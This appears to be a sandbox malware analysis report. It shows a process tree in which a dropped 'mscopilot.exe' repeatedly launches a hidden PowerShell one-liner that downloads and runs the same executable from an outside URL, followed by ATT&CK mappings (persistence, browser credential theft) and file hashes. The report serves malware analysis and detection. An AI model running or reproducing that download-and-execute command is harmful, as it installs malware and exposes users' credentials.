        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        27⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        28⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5044
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        29⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        30⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3804
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        31⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4480
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        32⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4396
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        33⤵
        
        PID:1464
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        33⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        34⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2524
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        35⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        36⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6076
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        37⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3308
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        38⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1256
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        39⤵
        
        PID:1580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        40⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1412
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        41⤵
        
        PID:5696
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2616
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        43⤵
        
        PID:5260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        44⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4680
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        45⤵
        
        PID:428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        46⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5392
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        47⤵
        
        PID:4564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        48⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4704
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        49⤵
        
        PID:5572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        50⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2548
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        51⤵
        
        PID:1288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        52⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5944
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        53⤵
        
        PID:260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        54⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4992
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        55⤵
        
        PID:2484
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        56⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2648
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        57⤵
        
        PID:1960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        58⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3800
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        59⤵
        
        PID:996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        60⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5372
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        61⤵
        
        PID:984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        62⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3052
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        63⤵
        
        PID:1844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        64⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2148
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        65⤵
        
        PID:5076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        66⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        67⤵
        
        PID:1824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        68⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4608
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        69⤵
        
        PID:692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        70⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5728
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        71⤵
        
        PID:2744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        72⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3436
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        73⤵
        
        PID:1124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        74⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1276
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        75⤵
        
        PID:3520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        76⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:816
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        77⤵
        
        PID:1416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        78⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4340
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        79⤵
        
        PID:3136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        80⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3888
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        81⤵
        
        PID:1980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        82⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1268
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        83⤵
        
        PID:4636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        84⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:400
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        85⤵
        
        PID:3424
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        86⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4580
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        87⤵
        
        PID:3472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        88⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3328
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        89⤵
        
        PID:4808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        90⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5628
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        91⤵
        
        PID:5240
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        92⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:5360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:5768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:1464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:2548

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5336

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:420

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5584

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2184

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:552

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4396

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5488

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5116

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2464B0D1-36AA-21FD-8EC9-5235F6417AED.txt

Path C:\ProgramData\2464B0D1-36AA-21FD-8EC9-5235F6417AED.txt
Size 64B
SHA256 e06adfc528002b5d32aa1191bb28ad1033fa6d22da7850dfaa598b0ee17a59b9
MD5 7212d507ce8b56dbca20461adecbbcee
SHA1 db5720b662d03435730251df781de5c5d7a8729d
SHA512 a17b208d8310afb82c7070f5e2b64f9fc92bb0e84b290a69a65a3e0dbf9a26e9f529878f3606f94df62b7bb24d107c2664976b798bd4ef98f233025434d918ac
TLSH
T15BA0220C00202E8800CEEE22BBC22222C3800030082A3CAC0CBEB88CA200008002BA88
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 d18285b58743ea648b8945122e6ec07c806201c7bbc3ca2c1d882a18510ccb33
MD5 ab1d502c39128b1a29ef01bd1b4dbf21
SHA1 5c54bc13d2a1a218a8797ad85661979e0b0122ac
SHA512 57cf4a9ae93b83f5db4244140ff8431902da87fd5c6c8e82912f700c6fa7bc4e9012d53e79a93150414e76508b105aa6f7a55cba1e78e360d5c42723a267fdde
SSDEEP 1536:mKLghmYo2hOovpfKQVGflJdtZYph4iUx9R40i71Yi9MQyPSMrxpi3jiRjdvRwa5Z:mKLghmYo2hOovpfKQVGflJd3YpqiU9RZ
TLSH
T1E5636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download